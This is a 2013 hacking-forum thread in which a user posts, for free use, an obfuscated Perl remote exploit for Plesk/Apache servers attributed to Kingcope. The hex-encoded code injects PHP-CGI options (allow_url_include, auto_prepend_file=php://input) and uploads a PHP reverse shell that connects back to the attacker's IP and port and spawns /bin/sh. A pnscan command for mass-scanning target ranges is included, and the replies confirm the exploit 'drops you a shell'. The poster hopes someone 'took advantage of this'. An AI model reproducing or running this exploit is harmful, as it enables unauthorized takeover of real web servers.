Plesk Apache Remote Exploit Leak! [fuck you kingcope]

yokai_old · 05-29-2013, 10:42 AM

Ok..I guess I'll contribute a bit..here's a free exploit (not a 0day afaik), works fine, feel free to deobfuscate it, let's see how long it takes until this is on exploitdb lololol

Code:
#---
# Plesk Apache Remote Exploit (TheoDoor)
# Discovered & Exploited by Kingcope
# In the year of 2013
# Enjoy this genuine FaRLigHT release
#---
# Apache logic fuckup successfully tested & affected
# Red Hat Enterprise Linux Server release 5.9 (Tikanga) x86_64
# CentOS release 5 (Final) i386
# Debian GNU/Linux 5.0.7 amd64
# Debian GNU/Linux 5.0.5 i686
# Debian GNU/Linux 4.0 i686
# CentOS release 5.4 (Final) x86_64
# Fedora Core release 6 (Zod) i386
# FreeBSD 6.4-RELEASE
# FreeBSD 6.3-RELEASE-p2
# FreeBSD 6.1-RELEASE
# Plesk 9.5.4
# Plesk 9.3
# Plesk 9.2
# Plesk 9.0
# Plesk 8.6
#---
# Correct usage will retrieve the equivalent of
# sh: no job control in this shell
# sh-3.00$ uname -a;id;
# Linux s8.practisinc.com 2.6.18-348.3.1.el5 #1 SMP Tue Mar 5 13:19:32 EST 2013 x8
# 6_64 x86_64 x86_64 GNU/Linux
# uid=48(apache) gid=48(apache) groups=48(apache),2521(psaserv)
#---
# Scan for targets: ./pnscan -w"GET /phppath/php HTTP/1.0\r\n\r\n" -r "500 Internal" 76.12.54.163/16 80
#---
# Signed,
#   Kingcope
use IO::Socket;use IO::Socket::SSL;use URI::Escape;sub oo10OlOO{print"\x50\x6C\x65\x73\x6B\x20\x41\x70\x61\x63\x68\x65\x20\x52\x65\x6D\x6F\x74\x65\x20\x45\x78\x70\x6C\x6F\x69\x74\x20\x28\x63\x29\x20\x320\x31\x33\x20\x4B\x69\x6E\x67\x63\x6F\x70\x65\n";print"\x75\x73\x61\x67\x65\x3A\x20$0\x20\x3C\x74\x61\x72\x67\x65\x74\x3E\x20\x3C\x68\x74\x74\x70\x2F\x68\x74\x74\x70\x73\x3E\x20\x3C\x6C\x6F\x63\x61\x6C\x5F\x69\x70\x3E\x20\x3C\x6C\x6F\x63\x61\x6C\x5F\x70\x6F\x72\x74\x3E\n";exit}if(!defined($ARGV[3])){oo10OlOO()}$oo0lOIlo=$ARGV[0];$Ioo0Il=$ARGV[1];if($Ioo0Il eq"\x68\x74\x74\x70"){$I10ol=IO::Socket::INET->new("\x50\x65\x65\x72\x41\x64\x64\x72",$ARGV[0],"\x50\x65\x65\x72\x50\x6F\x72\x74",80,"\x50\x72\x6F\x74\x6F","\x74\x63\x70")}elsif($Ioo0Il eq"\x68\x74\x74\x70\x73"){$I10ol=IO::Socket::SSL->new("\x50\x65\x65\x72\x41\x64\x64\x72",$ARGV[0],"\x50\x65\x65\x72\x50\x6F\x72\x74",443,"\x50\x72\x6F\x74\x6F","\x74\x63\x70")}else{oo10OlOO()}$OIl001I=$ARGV[2];$IlI1II0=$ARGV[3];$O0ooll0="\x3C\x3F\x70\x68\x70\x20\x65\x63\x68\x6F\x20\"\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65\x3A\x20\x74\x65\x78\x74\x2F\x70\x6C\x61\x69\x6E\r\n\r\n\"\x3B\x73\x65\x74\x5F\x74\x69\x6D\x65\x5F\x6C\x69\x6D\x69\x74\x20\x280\x29\x3B\x20\$\x56\x45\x52\x53\x49\x4F\x4E\x20\x3D\x20\"\x31\x2E0\"\x3B\x20\$\x69\x70\x20\x3D\x0A\x27$OIl001I\x27\x3B\x20\x20\$\x70\x6F\x72\x74\x20\x3D\x20$IlI1II0\x3B\x20\$\x63\x68\x75\x6E\x6B\x5F\x73\x69\x7A\x65\x20\x3D\x20\x31\x3400\x3B\x20\$\x77\x72\x69\x74\x65\x5F\x61\x20\x3D\x20\x6E\x75\x6C\x6C\x3B\x0A\$\x65\x72\x72\x6F\x72\x5F\x61\x20\x3D\x20\x6E\x75\x6C\x6C\x3B\x20\$\x73\x68\x65\x6C\x6C\x20\x3D\x20\x27\x2F\x62\x69\x6E\x2F\x73\x68\x20\x2D\x69\x27\x3B\x20\$\x64\x61\x65\x6D\x6F\x6E\x20\x3D\x0A0\x3B\$\x64\x65\x62\x75\x67\x20\x3D\x200\x3B\x20\x69\x66\x20\x28\x66\x75\x6E\x63\x74\x69\x6F\x6E\x5F\x65\x78\x69\x73\x74\x73\x28\x27\x70\x63\x6E\x74\x6C\x5F\x66\x6F\x72\x6B\x27\x29\x29\x20\x7B\x20\$\x70\x69\x64\x20\x3D\x0A\x70\x63\x6E\x74\x6C\x5F\x66\x6F\x72\x6B\x28\x29\x3B\x20\x69\x66\x20\x28\$\x70\x69\x64\x20\x3D\x3D\x20\x2D\x31\x29\x20\x7B\x20\x70\x72\x69\x6E\x74\x69\x74\x28\"\x45\x52\x52\x4F\x52\x3A\x20\x43\x61\x6E\x27\x74\x20\x66\x6F\x72\x6B\"\x29\x3B\x0A\x65\x78\x69\x74\x28\x31\x29\x3B\x7D\x20\x69\x66\x20\x28\$\x70\x69\x64\x29\x20\x7B\x20\x65\x78\x69\x74\x280\x29\x3B\x7D\x20\x69\x66\x20\x28\x70\x6F\x73\x69\x78\x5F\x73\x65\x74\x73\x69\x64\x28\x29\x20\x3D\x3D\x20\x2D\x31\x29\x20\x7B\x0A\x70\x72\x69\x6E\x74\x69\x74\x28\"\x45\x72\x72\x6F\x72\x3A\x20\x43\x61\x6E\x27\x74\x20\x73\x65\x74\x73\x69\x64\x28\x29\"\x29\x3B\x20\x65\x78\x69\x74\x28\x31\x29\x3B\x20\x7D\x20\$\x64\x61\x65\x6D\x6F\x6E\x20\x3D\x20\x31\x3B\x7D\x20\x65\x6C\x73\x65\x20\x7B\x0A\x70\x72\x69\x6E\x74\x69\x74\x28\"\x57\x41\x52\x4E\x49\x4E\x47\x3A\x20\x46\x61\x69\x6C\x65\x64\x20\x74\x6F\x20\x64\x61\x65\x6D\x6F\x6E\x69\x73\x65\x2E\x20\x20\x54\x68\x69\x73\x20\x69\x73\x20\x71\x75\x69\x74\x65\x20\x63\x6F\x6D\x6D\x6F\x6E\x20\x61\x6E\x64\x20\x6E\x6F\x74\x0A\x66\x61\x74\x61\x6C\x2E\"\x29\x3B\x7D\x63\x68\x64\x69\x72\x28\"\x2F\"\x29\x3B\x20\x75\x6D\x61\x73\x6B\x280\x29\x3B\x20\$\x73\x6F\x63\x6B\x20\x3D\x20\x66\x73\x6F\x63\x6B\x6F\x70\x65\x6E\x28\$\x69\x70\x2C\x20\$\x70\x6F\x72\x74\x2C\x0A\$\x65\x72\x72\x6E\x6F\x2C\x20\$\x65\x72\x72\x73\x74\x72\x2C\x20\x330\x29\x3B\x69\x66\x20\x28\x21\$\x73\x6F\x63\x6B\x29\x20\x7B\x20\x70\x72\x69\x6E\x74\x69\x74\x28\"\$\x65\x72\x72\x73\x74\x72\x20\x28\$\x65\x72\x72\x6E\x6F\x29\"\x29\x3B\x0A\x65\x78\x69\x74\x28\x31\x29\x3B\x7D\x20\$\x64\x65\x73\x63\x72\x69\x70\x74\x6F\x72\x73\x70\x65\x63\x20\x3D\x20\x61\x72\x72\x61\x79\x280\x20\x3D\x3E\x20\x61\x72\x72\x61\x79\x28\"\x70\x69\x70\x65\"\x2C\x20\"\x72\"\x29\x2C\x31\x20\x3D\x3E\x0A\x61\x72\x72\x61\x79\x28\"\x70\x69\x70\x65\"\x2C\x20\"\x77\"\x29\x2C\x20\x32\x20\x3D\x3E\x20\x61\x72\x72\x61\x79\x28\"\x70\x69\x70\x65\"\x2C\x20\"\x77\"\x29\x29\x3B\$\x70\x72\x6F\x63\x65\x73\x73\x20\x3D\x0A\x70\x72\x6F\x63\x5F\x6F\x70\x65\x6E\x28\$\x73\x68\x65\x6C\x6C\x2C\x20\$\x64\x65\x73\x63\x72\x69\x70\x74\x6F\x72\x73\x70\x65\x63\x2C\x20\$\x70\x69\x70\x65\x73\x29\x3B\x69\x66\x0A\x28\x21\x69\x73\x5F\x72\x65\x73\x6F\x75\x72\x63\x65\x28\$\x70\x72\x6F\x63\x65\x73\x73\x29\x29\x20\x7B\x20\x70\x72\x69\x6E\x74\x69\x74\x28\"\x45\x52\x52\x4F\x52\x3A\x20\x43\x61\x6E\x27\x74\x20\x73\x70\x61\x77\x6E\x20\x73\x68\x65\x6C\x6C\"\x29\x3B\x0A\x65\x78\x69\x74\x28\x31\x29\x3B\x7D\x73\x74\x72\x65\x61\x6D\x5F\x73\x65\x74\x5F\x62\x6C\x6F\x63\x6B\x69\x6E\x67\x28\$\x70\x69\x70\x65\x73\x5B0\x5D\x2C\x0A0\x29\x3B\x73\x74\x72\x65\x61\x6D\x5F\x73\x65\x74\x5F\x62\x6C\x6F\x63\x6B\x69\x6E\x67\x28\$\x70\x69\x70\x65\x73\x5B\x31\x5D\x2C\x200\x29\x3B\x73\x74\x72\x65\x61\x6D\x5F\x73\x65\x74\x5F\x62\x6C\x6F\x63\x6B\x69\x6E\x67\x28\$\x70\x69\x70\x65\x73\x5B\x32\x5D\x2C\x0A0\x29\x3B\x73\x74\x72\x65\x61\x6D\x5F\x73\x65\x74\x5F\x62\x6C\x6F\x63\x6B\x69\x6E\x67\x28\$\x73\x6F\x63\x6B\x2C\x200\x29\x3B\x77\x68\x69\x6C\x65\x20\x28\x31\x29\x20\x7B\x20\x20\x20\x20\x69\x66\x20\x28\x66\x65\x6F\x66\x28\$\x73\x6F\x63\x6B\x29\x29\x20\x7B\x0A\x70\x72\x69\x6E\x74\x69\x74\x28\"\x64\x6F\x6E\x65\x2E\"\x29\x3B\x20\x62\x72\x65\x61\x6B\x3B\x7D\x20\x69\x66\x0A\x28\x66\x65\x6F\x66\x28\$\x70\x69\x70\x65\x73\x5B\x31\x5D\x29\x29\x20\x7B\x70\x72\x69\x6E\x74\x69\x74\x28\"\x64\x6F\x6E\x65\x2E\"\x29\x3B\x62\x72\x65\x61\x6B\x3B\x7D\$\x72\x65\x61\x64\x5F\x61\x20\x3D\x20\x61\x72\x72\x61\x79\x28\$\x73\x6F\x63\x6B\x2C\x20\$\x70\x69\x70\x65\x73\x5B\x31\x5D\x2C\x0A\$\x70\x69\x70\x65\x73\x5B\x32\x5D\x29\x3B\$\x6E\x75\x6D\x5F\x63\x68\x61\x6E\x67\x65\x64\x5F\x73\x6F\x63\x6B\x65\x74\x73\x20\x3D\x20\x73\x74\x72\x65\x61\x6D\x5F\x73\x65\x6C\x65\x63\x74\x28\$\x72\x65\x61\x64\x5F\x61\x2C\x20\$\x77\x72\x69\x74\x65\x5F\x61\x2C\x0A\$\x65\x72\x72\x6F\x72\x5F\x61\x2C\x20\x6E\x75\x6C\x6C\x29\x3B\x69\x66\x20\x28\x69\x6E\x5F\x61\x72\x72\x61\x79\x28\$\x73\x6F\x63\x6B\x2C\x20\$\x72\x65\x61\x64\x5F\x61\x29\x29\x20\x7B\x69\x66\x20\x28\$\x64\x65\x62\x75\x67\x29\x0A\x70\x72\x69\x6E\x74\x69\x74\x28\"\x53\x4F\x43\x4B\x20\x52\x45\x41\x44\"\x29\x3B\$\x69\x6E\x70\x75\x74\x20\x3D\x20\x66\x72\x65\x61\x64\x28\$\x73\x6F\x63\x6B\x2C\x0A\$\x63\x68\x75\x6E\x6B\x5F\x73\x69\x7A\x65\x29\x3B\x69\x66\x28\$\x64\x65\x62\x75\x67\x29\x20\x70\x72\x69\x6E\x74\x69\x74\x28\"\x53\x4F\x43\x4B\x3A\x0A\$\x69\x6E\x70\x75\x74\"\x29\x3B\x66\x77\x72\x69\x74\x65\x28\$\x70\x69\x70\x65\x73\x5B0\x5D\x2C\x20\$\x69\x6E\x70\x75\x74\x29\x3B\x7D\x69\x66\x20\x28\x69\x6E\x5F\x61\x72\x72\x61\x79\x28\$\x70\x69\x70\x65\x73\x5B\x31\x5D\x2C\x0A\$\x72\x65\x61\x64\x5F\x61\x29\x29\x20\x7B\x69\x66\x20\x28\$\x64\x65\x62\x75\x67\x29\x20\x70\x72\x69\x6E\x74\x69\x74\x28\"\x53\x54\x44\x4F\x55\x54\x20\x52\x45\x41\x44\"\x29\x3B\$\x69\x6E\x70\x75\x74\x20\x3D\x0A\x66\x72\x65\x61\x64\x28\$\x70\x69\x70\x65\x73\x5B\x31\x5D\x2C\x20\$\x63\x68\x75\x6E\x6B\x5F\x73\x69\x7A\x65\x29\x3B\x69\x66\x20\x28\$\x64\x65\x62\x75\x67\x29\x20\x70\x72\x69\x6E\x74\x69\x74\x28\"\x53\x54\x44\x4F\x55\x54\x3A\x0A\$\x69\x6E\x70\x75\x74\"\x29\x3B\x66\x77\x72\x69\x74\x65\x28\$\x73\x6F\x63\x6B\x2C\x20\$\x69\x6E\x70\x75\x74\x29\x3B\x7D\x69\x66\x20\x28\x69\x6E\x5F\x61\x72\x72\x61\x79\x28\$\x70\x69\x70\x65\x73\x5B\x32\x5D\x2C\x0A\$\x72\x65\x61\x64\x5F\x61\x29\x29\x20\x7B\x69\x66\x20\x28\$\x64\x65\x62\x75\x67\x29\x20\x70\x72\x69\x6E\x74\x69\x74\x28\"\x53\x54\x44\x45\x52\x52\x20\x52\x45\x41\x44\"\x29\x3B\$\x69\x6E\x70\x75\x74\x20\x3D\x0A\x66\x72\x65\x61\x64\x28\$\x70\x69\x70\x65\x73\x5B\x32\x5D\x2C\x20\$\x63\x68\x75\x6E\x6B\x5F\x73\x69\x7A\x65\x29\x3B\x20\x20\x20\x20\x69\x66\x20\x28\$\x64\x65\x62\x75\x67\x29\x20\x70\x72\x69\x6E\x74\x69\x74\x28\"\x53\x54\x44\x45\x52\x52\x3A\x0A\$\x69\x6E\x70\x75\x74\"\x29\x3B\x66\x77\x72\x69\x74\x65\x28\$\x73\x6F\x63\x6B\x2C\x0A\$\x69\x6E\x70\x75\x74\x29\x3B\x7D\x7D\x66\x63\x6C\x6F\x73\x65\x28\$\x73\x6F\x63\x6B\x29\x3B\x66\x63\x6C\x6F\x73\x65\x28\$\x70\x69\x70\x65\x73\x5B0\x5D\x29\x3B\x66\x63\x6C\x6F\x73\x65\x28\$\x70\x69\x70\x65\x73\x5B\x31\x5D\x29\x3B\x66\x63\x6C\x6F\x73\x65\x28\$\x70\x69\x70\x65\x73\x5B\x32\x5D\x29\x3B\x70\x72\x6F\x63\x5F\x63\x6C\x6F\x73\x65\x28\$\x70\x72\x6F\x63\x65\x73\x73\x29\x3B\x66\x75\x6E\x63\x74\x69\x6F\x6E\x20\x70\x72\x69\x6E\x74\x69\x74\x20\x28\$\x73\x74\x72\x69\x6E\x67\x29\x20\x7B\x69\x66\x20\x28\x21\$\x64\x61\x65\x6D\x6F\x6E\x29\x20\x7B\x70\x72\x69\x6E\x74\x0A\"\$\x73\x74\x72\x69\x6E\x67\n\"\x3B\x7D\x7D\x0A\x3F\x3E";$lI1loIl1O10=uri_escape("\x2D\x64","\0\x2D\377")."\x2B".uri_escape("\x61\x6C\x6C\x6F\x77\x5F\x75\x72\x6C\x5F\x69\x6E\x63\x6C\x75\x64\x65\x3D\x6F\x6E","\0\x2D\377")."\x2B".uri_escape("\x2D\x64","\0\x2D\377")."\x2B".uri_escape("\x73\x61\x66\x65\x5F\x6D\x6F\x64\x65\x3D\x6F\x66\x66","\0\x2D\377")."\x2B".uri_escape("\x2D\x64","\0\x2D\377")."\x2B".uri_escape("\x73\x75\x68\x6F\x73\x69\x6E\x2E\x73\x69\x6D\x75\x6C\x61\x74\x69\x6F\x6E\x3D\x6F\x6E","\0\x2D\377")."\x2B".uri_escape("\x2D\x64","\0\x2D\377")."\x2B".uri_escape("\x64\x69\x73\x61\x62\x6C\x65\x5F\x66\x75\x6E\x63\x74\x69\x6F\x6E\x73\x3D\"\"","\0\x2D\377")."\x2B".uri_escape("\x2D\x64","\0\x2D\377")."\x2B".uri_escape("\x6F\x70\x65\x6E\x5F\x62\x61\x73\x65\x64\x69\x72\x3D\x6E\x6F\x6E\x65","\0\x2D\377")."\x2B".uri_escape("\x2D\x64","\0\x2D\377")."\x2B".uri_escape("\x61\x75\x74\x6F\x5F\x70\x72\x65\x70\x65\x6E\x64\x5F\x66\x69\x6C\x65\x3D\x70\x68\x70\x3A\x2F\x2F\x69\x6E\x70\x75\x74","\0\x2D\377")."\x2B".uri_escape("\x2D\x6E","\0\x2D\377");$I10I1Io0=uri_escape("\x70\x68\x70\x70\x61\x74\x68","\0\x2D\377")."\x2F".uri_escape("\x70\x68\x70","\0\x2D\377");print$I10ol "\x50\x4F\x53\x54\x20\x2F$I10I1Io0\x3F$lI1loIl1O10\x20\x48\x54\x54\x50\x2F\x31\x2E\x31\r\n"."\x48\x6F\x73\x74\x3A\x20$ARGV[0]\r\n"."\x55\x73\x65\x72\x2D\x41\x67\x65\x6E\x74\x3A\x20\x4D\x6F\x7A\x69\x6C\x6C\x61\x2F\x35\x2E0\x20\x28\x63\x6F\x6D\x70\x61\x74\x69\x62\x6C\x65\x3B\x20\x47\x6F\x6F\x67\x6C\x65\x62\x6F\x74\x2F\x32\x2E\x31\x3B\x20\x2B\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x67\x6F\x6F\x67\x6C\x65\x2E\x63\x6F\x6D\x2F\x62\x6F\x74\x2E\x68\x74\x6D\x6C\x29\r\n"."\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65\x3A\x20\x74\x65\x78\x74\x2F\x70\x6C\x61\x69\x6E\r\n"."\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x4C\x65\x6E\x67\x74\x68\x3A\x20".length($O0ooll0)."\r\n\r\n".$O0ooll0;while(<$I10ol>){print;}

Empty · 05-29-2013, 12:23 PM

I'm quite new to hacking, what exactly does this exploit do?

Nefarious · 05-29-2013, 12:30 PM

Seeing you contribute made me smile. <3

yokai_old · 05-30-2013, 12:59 AM

(05-29-2013, 12:23 PM)Empty Wrote: I'm quite new to hacking, what exactly does this exploit do?

Drop you a shell on the vuln plesk box; honestly, if you don't know what the code does, it is a better idea to not run it, just sayin'.

ねこまっしぐら · 05-30-2013, 01:13 AM

(05-30-2013, 12:59 AM)better_than_you Wrote: Drop you a shell on the vuln plesk box; honestly, if you don't know what the code does, it is a better idea to not run it, just sayin'.

What is a "Plesk" box? You're being kinda vague on this topic.

yokai_old · 05-30-2013, 02:30 AM

(05-30-2013, 01:13 AM)Johnny Wrote: What is a "Plesk" box? You're being kinda vague on this topic.

http://www.parallels.com/products/plesk/

i0xIllusi0n · 06-03-2013, 03:42 PM

(05-30-2013, 12:59 AM)better_than_you Wrote: Drop you a shell on the vuln plesk box; honestly, if you don't know what the code does, it is a better idea to not run it, just sayin'.

If only people understood that concept. I'd love for people to at least have common sense. -_-

yokai_old · 06-08-2013, 06:39 AM

Well, I hope someone took advantage of this...usually 0days aren't dropped like this, I just felt like contributing..

Here's the official drop: http://seclists.org/fulldisclosure/2013/...y_rar.bin; obviously you rename it to etc.rar

Source: http://seclists.org/fulldisclosure/2013/Jun/21

Plesk Apache Remote Exploit Leak! [fuck you kingcope]
Author Message